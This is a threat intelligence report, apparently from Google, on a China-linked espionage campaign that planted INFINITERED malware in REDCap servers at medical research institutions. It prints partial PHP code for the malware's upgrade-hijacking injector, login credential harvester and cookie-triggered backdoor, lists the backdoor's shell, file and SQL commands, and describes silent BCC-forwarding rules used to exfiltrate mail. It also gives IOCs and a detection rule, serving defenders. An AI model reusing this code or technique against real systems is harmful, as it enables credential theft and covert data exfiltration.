

Public and Private Medical Community Targeted by China-Nexus Threat Actor Pursuing Artificial Intelligence, Cyber, Medical, and National Defense Research

 cloud.google.com/blog/topics/threat-intelligence/prc-targets-us-medical-research

Google Threat Intelligence Group

June 15, 2026



 Google Cloud

Threat Intelligence

Google Threat Intelligence

Visibility and context on the threats that matter most.

[Contact Us & Get a Demo](#)

Written by: Patrick Whitsell, John McGuinness

Google Threat Intelligence Group (GTIG) has identified a sophisticated campaign attributed to UNC6508, a People's Republic of China (PRC)-nexus threat actor, targeting institutions in the North American academic, medical, and military research community. While remaining undetected for over a year, the threat actor compromised externally facing web applications, deployed bespoke malware, pivoted to sensitive internal systems, and abused enterprise administrative tools for covert data exfiltration. The threat actor had broad collection aspirations, including sensitive defense intelligence related to national security, Indo-Pacific command operations, artificial intelligence, uncrewed vehicle systems, cyber offensive programs, and medical research.

GTIG disrupted the malicious infrastructure associated with this threat actor. Working with Mandiant Consulting, we notified the affected organizations upon detection and offered our

assistance with remediation. We have updated [Google Security Operations](#) (SecOps) with relevant intelligence, enabling defenders to identify indicators of compromise (IOCs) within their networks. We encourage all users and customers to follow recommended best practices for [third-party Identity Providers](#) (IdP) and ensure [2-Step Verification](#) (2SV) is enabled across all accounts.

Campaign Overview

The campaign targeted a diverse set of national, state, and private medical entities. These organizations comprise world-renowned clinical providers, premier academic centers, North American military health institutions, professional advocacy groups, and health regulatory bodies. Their research areas span a broad spectrum of modern medicine, from molecular discovery and clinical drug trials to state-level public health policy and military readiness. They employ thousands of people with a combined research budget in the billions of dollars.

The earliest known compromise occurred in September 2023, after which GTIG observed a consistent operational pattern. The threat actor exploited externally facing [REDCap](#) (Research Electronic Data Capture) servers and deployed custom malware named INFINITERED to capture legitimate REDCap login credentials. Then, after remaining undetected for more than a year, UNC6508 used the captured credentials to access the victim's internal network. The threat actor was also observed using the novel technique of manipulating domain content compliance rules for data exfiltration. Lastly, UNC6508 used sophisticated operations security (OpSec) techniques to conceal and obfuscate their activity.

GTIG collaborated closely with Mandiant Consulting, the FLARE team, and Workspace Security on this effort to combine our threat intelligence, incident response, and reverse engineering expertise across Google Cloud. This enabled us to develop a complete picture of the [attack lifecycle](#) from initial compromise to complete mission. GTIG also extends thanks to the affected organizations for their cooperation and the valuable post-exploitation insights they shared.

Prevention, Detection, and Remediation

GTIG recommends defenders implement the following security measures, across all Cloud enterprise platforms, to mitigate this threat:

- **Secure Admin Accounts:** Enforce phishing-resistant [2-Step Verification \(2SV\)](#) for enterprise administrator accounts, including through third-party Identity Providers.
- **Advanced Protection:** Consider enrolling highly sensitive accounts in our [Advanced Protection Program](#) for additional safeguards against malware and phishing attacks.

- **Prevent Cookie Theft:** Enforce [Device Bound Session Credentials](#) (DBSC) with [CAA](#) for highly sensitive accounts on Windows devices to prevent session hijacking.
- **Monitor Audit Logs:** Enable [Audit logs](#) to analyze, monitor, and alert on changes to your data.
- **Control Data:** Define [Data Loss Prevention \(DLP\) rules](#) to block or alert on external sharing of sensitive data.
- **Audit Compliance Rules:** Review [Admin audit logs](#) and content compliance rules for unauthorized modifications.
- **SIEM Coverage:** Consider using [Google Security Operations](#) (SecOps) and ensure Workspace logs are included in your Security Information and Event Management (SIEM) pipeline.
- **Password Protection:** Use Chrome Enterprise [Password Leak Detection](#) to alert when potentially compromised password use is detected.
- **Patch REDCap:** Fully updated REDCap installations to the latest software version and ensure older versions are completely removed.
- **Monitor for INFINITERED:** Scan REDCap servers for the presence of INFINITERED using the provided YARA rule and IOCs.

Medical Research University Compromise

In September 2023, a [REDCap](#) server belonging to a North American medical research institution was compromised. Continuing activity was observed through November 2025. During this time period, UNC6508 carried out the following attack chain.

1. Exploit the REDCap server.
2. After three months, deploy the INFINITERED malware.
3. INFINITERED stealthily records credentials, and persists through upgrades, for more than a year.
4. Pivot to a domain admin account.
5. Add the malicious content compliance rule.
6. Silently “BCC-forward” matched emails to a threat actor-controlled account.

Figure 1: Campaign attack flow diagram

Initial Access: REDCap Exploitation and INFINITERED

UNC6508 consistently targets REDCap servers. REDCap is a web-based software platform designed specifically for building and managing online databases and surveys, in compliance with regulations for medical and scientific research. It is a commonly used platform in the North American medical research community.

GTIG was not able to confirm how UNC6508 initially gained access to the REDCap server. By design, REDCap allows administrators to continue running legacy software side-by-side with the current version. UNC6508 was observed probing for these vulnerable legacy versions on several target organizations' REDCap systems. This highlights not only the increasing importance of rapidly applying security patches, but also promptly removing older software versions to prevent [downgrade attacks](#).

Upon establishing a foothold on the REDCap server, UNC6508 performed internal reconnaissance and credential discovery to obtain database and service account credentials. The threat actor also deployed a web shell named "help.php", which maintained persistence and functioned as an uploader in the REDCap application.

INFINITERED Analysis

Three months after the initial compromise, UNC6508 deployed a custom malware payload tracked as INFINITERED. This malware implements its functionality across three distinct modular components by trojanizing legitimate REDCap system files.

- Dropper and Upgrade Interception
- Credential Harvester
- Backdoor, with command and control (C2)

GTIG discovered multiple organizations across the US and Canada compromised with INFINITERED. All of these organizations were promptly notified of the compromise upon detection and offered our assistance with remediation.

Figure 2: INFINITERED diagram

Dropper and Upgrade Interception

To maintain persistent remote access, INFINITERED injects its code into new REDCap versions by intercepting the upgrade process. This capability is embedded into the legitimate

REDCap upgrade system file. INFINITERED performs this code injection following these steps.

1. Read the current software version, which includes the INFINITERED code.
2. Extract the malicious logic using GUID delimiter b49e334d-9c01-463e-9bc5-00a6920fb66e.
3. Inject backdoor code into the custom hooks configuration file.
4. Inject credential harvester code into the authentication system file.
5. Inject the extracted code from step 2 into the upgrade system file.

In Elastic Beanstalk environments, INFINITERED performs additional steps to ensure persistence in cloud deployments.

```
// b49e334d-9c01-463e-9bc5-00a6920fb66e
...
$file_upgrade = $base_path."Upgrade.php";
$file_content_upgrade = $zip->getFromName($file_upgrade); // new upgrade file content
$file_content_upgrade_local = file_get_contents(__FILE__); // Contents of the current
...
if ($file_content_upgrade !== false) {
    // Base64 GUID delimiter
    $dummy_marker = base64_decode('YjQ5ZTMzMzNGQWt0ZWwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl');
    $pattern = "/$dummy_marker(.*)$dummy_marker/s";
    if (preg_match($pattern, $file_content_upgrade_local, $matches)) {
        $extracted_text = $matches[0];
        $search_content = "// If running on AWS Elastic Beanstalk";
        $upgrade_decode = "// ".$extracted_text."\r\n\t\t".$search_content;
        $new_content = str_replace($search_content, $upgrade_decode, $file_content_upgrade);
        $zip->deleteName($file_upgrade);
        $zip->addFromString($file_upgrade, $new_content);
    }
}
$zip->close();
...
// b49e334d-9c01-463e-9bc5-00a6920fb66e
```

Code Snippet 1: Intercept upgrades and inject INFINITERED code

Credential Harvester

INFINITERED injects a credential harvester into the authentication system file to compromise user accounts. This component of the malware captures usernames and passwords submitted via POST requests during the login process. The credentials are encrypted using

the environment's default encryption routine and hidden inside a local REDCap sessions database table with the string "xc32038474a" prefixed to the Session ID.

```
$currentUTC = gmdate('Y-m-d H:i:s');
$str = encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);
include dirname(__FILE__, 3) . DIRECTORY_SEPARATOR . 'redcap_connect.php';
$expiration_timestamp = strtotime("+60 days", strtotime($currentUTC));
$session_id = 'xc32038474a'.substr(bin2hex($currentUTC), -20);
$session_sql = "INSERT INTO [REDACTED] ([REDACTED],[REDACTED],[REDACTED]) VALUES ('$se:
@$rc_connection->query($session_sql);
```

Code Snippet 2: Hide credentials in a legitimate database table

Backdoor

INFINITERED also has backdoor functionality it establishes in the custom hooks system file inside the update package, specifically within a function that executes on every REDCap page load. This global hook ensures the backdoor runs on every page load. INFINITERED looks for a specific HTTP Cookie parameter named "REDCAP-TOKEN" and a cookie value starting with a specific plaintext string. If these conditions are present, the malware strips the prefix and decrypts the remaining payload with the environment's default decryption routine.

```
$cookieValue = $_COOKIE['REDCAP-TOKEN'];
if ($cookieValue) {
    $magic_flag = '[REDACTED]'; // Cookie prefix
    ...
    // Decrypt message if cookie prefix is found
    $key = '[REDACTED]';
    $req_data = substr($cookieValue, strlen($magic_flag));
    $req_data = decrypt($req_data, $key);
```

Code Snippet 3: Decrypting commands to INFINITERED

If the decrypted payload is empty, the malware acts as a beacon, returning system details such as the OS, PHP version, working directory, and database credentials including the hostname, username, password, and salt. When non-empty, the malware will parse the payload for command tags, which the threat actor can use to execute shell commands, run raw SQL queries, and transfer files.

Supported Commands

INFINITERED is capable of executing the following commands.

Command Tag	Description
-------------	-------------

00	Executes arbitrary system commands using <code>shell_exec</code> .
02	Uploads a file to the server. The payload contains the destination path and file content.
03	Retrieves stolen credentials stored in the legitimate database table.
04	Deletes the stolen credential records from the legitimate database table.
05	Executes arbitrary SQL queries against the database and returns the results.
ej671a16i7fd8202nu6ltfg5p6x7u	Downloads an arbitrary file from the server. The payload following this tag specifies the full filesystem path of the target file.
Empty Payload	Beacons system information, database credentials, and configuration details.

Table 1: Supported commands for INFINITERED

Domain Content Compliance Rule Abuse

More than a year after the initial compromise, UNC6508 used overlapping credentials, harvested from REDCap, to access an administrator account. This underscores the challenge and importance of securing systems holistically. Defenders should enable [2-Step Verification \(2SV\)](#) and ensure unique credentials are used across different security domains to mitigate credential replay attacks.

UNC6508 then leveraged [content compliance rules](#), a legitimate feature present in many cloud-based enterprise productivity suites, to exfiltrate specific email communications. Administrators can create these rules to manage email messages that contain content

matching predefined sets of words, phrases, text patterns, or numerical patterns. By default, compliance rules apply to all users in an organizational unit. The use of compliance rules for data exfiltration is a novel technique not previously observed with PRC-nexus threat actors.

Specifically, UNC6508 created a compliance rule named "Patroit" [sic] that used regular expressions to match on keyword and email address patterns in sent or received emails. Matches were silently BCC-forwarded to a threat actor-controlled Gmail address, [BebitaBarefoot774\[.\]gmail\[.\]com](mailto:BebitaBarefoot774[.]gmail[.]com), providing a covert and continuous stream of exfiltrated data. Upon discovery, GTIG disabled the Gmail account to prevent further data exfiltration.

Figure 3: Targeted intelligence collection categories

The patterns used in the "Patroit" compliance rule suggest strategic intelligence collection targeting geo-strategic policy, military strategy, advanced technology, and medical research. The patterns also include professional email addresses and phone numbers for members of organizations in these spaces. Several of the terms applied have spelling errors, suggesting the list was manually maintained.

This ambitious scope of intelligence collection from UNC6508 may suggest a broader range of targets beyond the identified victims in the medical research community. GTIG assesses these collection priorities are aligned with the strategic interests of the People's Republic of China.

While most of the terms relate to defense and technology, the terms including medical research facilities, and the specific pathogen "Chikungunya," stand out from the others. Chikungunya is a viral disease transmitted to humans from mosquitos and was responsible for an [outbreak in China's Guangdong province](#) beginning in July 2025.

Operations Security (OpSec)

GTIG observed UNC6508 use sophisticated and meticulous OpSec techniques to conceal their activities from defenders.

Figure 4: UNC6508 operations security techniques

UNC6508 relied heavily on Obfuscation (OBF) networks. This strategy, now frequently employed by PRC-nexus actors, involves routing traffic from offensive operations through a mix of compromised routers, residential proxies, Virtual Private Servers (VPS), and other devices.

This operation used exclusively US-based OBF network IP addresses to access both the "[BebitaBarefoot774\[.\]gmail\[.\]com](mailto:BebitaBarefoot774[.]gmail[.]com)" account and when replaying legitimate credentials to

access the compromised enterprise administrator account. Additional OpSec techniques were also used, such as obtaining the threat actor-controlled Gmail account through a mass creation service and dedicating it exclusively to email data exfiltration.

By maintaining a high level of OpSec, UNC6508 significantly complicates the efforts of defenders to identify malicious patterns, establish accurate attribution, and map the threat actor's infrastructure.

Attribution

GTIG attributes this activity to UNC6508 with high confidence. This assessment is based on infrastructure overlaps between campaigns, the consistent use of the INFINITERED backdoor on REDCap servers, and the specific targeting of medical research and defense sectors. We assess UNC6508 is an espionage motivated threat cluster, with priorities that align with historic PRC state-sponsored espionage trends and intelligence collection requirements.

Indicators of Compromise (IOCs)

To assist the wider community, we have also included a list of indicators in a [GTI Collection](#) for registered users.

Network Indicators

Indicator	Type	Context
BebitaBarefoot774@gmail.com	Email	Email exfiltration account
23.169.65.49	IP	Source of admin login (Compromised ASUS router)

File Indicators

Description SHA256

Persistence	ba6b73b0ca0dc7f86b3b397893ac32d729fd53f9df20643288f141f29d020af7 (help.php)
-------------	--

Credential Harvester	db65c1b9f9e4cb4d729f45ad4b6fcf3e277caf9eb4c875425dec93fd883f9136
Credential Harvester	c1ac43d23f89d41eb4ff131678ab562ab2cfed9aa334b13767ef141d303b0e5b
Backdoor	8f0158855a656b629ca76ebca565f18bc25563ded34b65d6771632c20edb68ec
Backdoor	51a57bfc9ed3eb6451c1c289607814d59e1698c666fb97ac5f694c398f23d045
Dropper	4efbef69eb3b09bacff892d6a55778d07c418e7f15eba3cf1245e8cdfd8dda0b
Dropper	58bb25777e0aa86bcd2125101e0bca4e8732b03d91bd8d2f205b446a2a8d5c86

Host Indicators

Indicator	Description
b49e334d-9c01-463e-9bc5-00a6920fb66e	INFINITERED current software version GUID delimiter
xc32038474a	INFINITERED Redcap database session ID prefix

MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Context/Activity
Initial Access	T1190	Exploit Public-Facing Application	Exploitation of REDCap survey management servers.

Persistence	T1505.003	Server Software Component: Web Shell	Deployment of INFINITERED and uploaders.
	T1554	Compromise Client Software Binary	Modification of REDCap to intercept updates.
Defense Evasion	T1027	Obfuscated Files or Information	Use of Base64 encoding for malicious payloads within PHP files.
	T1090.003	Proxy: Multi-hop Proxy	Routing traffic through compromised IoT devices (OBF networks).
	T1562.001	Impair Defenses: Disable or Modify Tools	Creating "silent" BCC rules to avoid user detection.
	T1689	Downgrade Attack	Exploiting vulnerable legacy versions of REDCap.
Credential Access	T1555	Credentials from Password Stores	Accessing local configuration files.
	T1056.003	Input Capture: Web Portal Capture	INFINITERED harvesting plaintext credentials from POST login requests.
Collection	T1114.003	Email Collection: Email Forwarding Rule	Use of content compliance rules ("Patroit") for automated exfiltration.

	T1213	Data from Information Repositories	Searching storage and email for strategic keywords.
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	C2 communication via HTTP Cookie parameters (REDCAP-TOKEN).
Exfiltration	T1567	Exfiltration Over Web Service	Silently forwarding sensitive data to actor-controlled Gmail addresses.
	T1071.001	Application Layer Protocol: Web Protocols	HTTP response to C2 commands

Detections

YARA Rules

```
rule G_Backdoor_INFINITERED_1 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
    strings:
        $magic_flag = "ej671a16i7fd8202nu6ltfg5p6x7u"
        $magic_flag_base64 = "ej671a16i7fd8202nu6ltfg5p6x7u" base64
        $marker = "b49e334d-9c01-463e-9bc5-00a6920fb66e"
        $marker_base64 = "YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl"
        $s1 = "substr($cookieValue, strlen($magic_flag));"
        $s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']"
        $s3 = "'data' => encrypt($data, $key)"
        $s4 = "$data = shell_exec($command);"
        $s5 = "move_uploaded_file($tmpPath, $fileName)"
        $s6 = "$data = implode('|', $fields)"
        $b_s1 = "substr($cookieValue, strlen($magic_flag));" base64
        $b_s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']" base64
        $b_s3 = "'data' => encrypt($data, $key)" base64
        $b_s4 = "$data = shell_exec($command);" base64
        $b_s5 = "move_uploaded_file($tmpPath, $fileName)" base64
        $b_s6 = "$data = implode('|', $fields)" base64
        $t1 = "(isset($_POST['username']) && $_POST['password'])"
        $t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_{"
```

```

$t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_I
$t4 = "redcap_connect.php"
$b_t1 = "(isset($_POST['username']) && $_POST['password'])" base64
$b_t2 = "INSERT INTO redcap_sessions (session_id, session_data, session
$b_t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_
$b_t4 = "redcap_connect.php" base64
$u1 = "$zip->open($filename) === TRUE)"
$u2 = "$hooks_encode ="
$u3 = "$auth_encode ="
$u4 = "$file_content_hooks = $zip->getFromName($file_hooks);"
$u5 = "$file_content_auth = $zip->getFromName($file_auth);"
$u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);"
$u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks)
$u8 = "str_replace($search_content, $upgrade_decode, $file_content_upg
$u9 = "str_replace($search_content, $auth_decode, $file_content_auth);"
$b_u1 = "$zip->open($filename) === TRUE)" base64
$b_u2 = "$hooks_encode =" base64
$b_u3 = "$auth_encode =" base64
$b_u4 = "$file_content_hooks = $zip->getFromName($file_hooks);" base64
$b_u5 = "$file_content_auth = $zip->getFromName($file_auth);" base64
$b_u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);" ba
$b_u7 = "str_replace($search_content, $hooks_decode, $file_content_hool
$b_u8 = "str_replace($search_content, $upgrade_decode, $file_content_up
$b_u9 = "str_replace($search_content, $auth_decode, $file_content_auth)
$filemarker = "<?php"
condition:
    filesize < 1MB and $filemarker in (0 .. 128) and (((any of ($magic*) or
}

```

Posted in

[Threat Intelligence](#)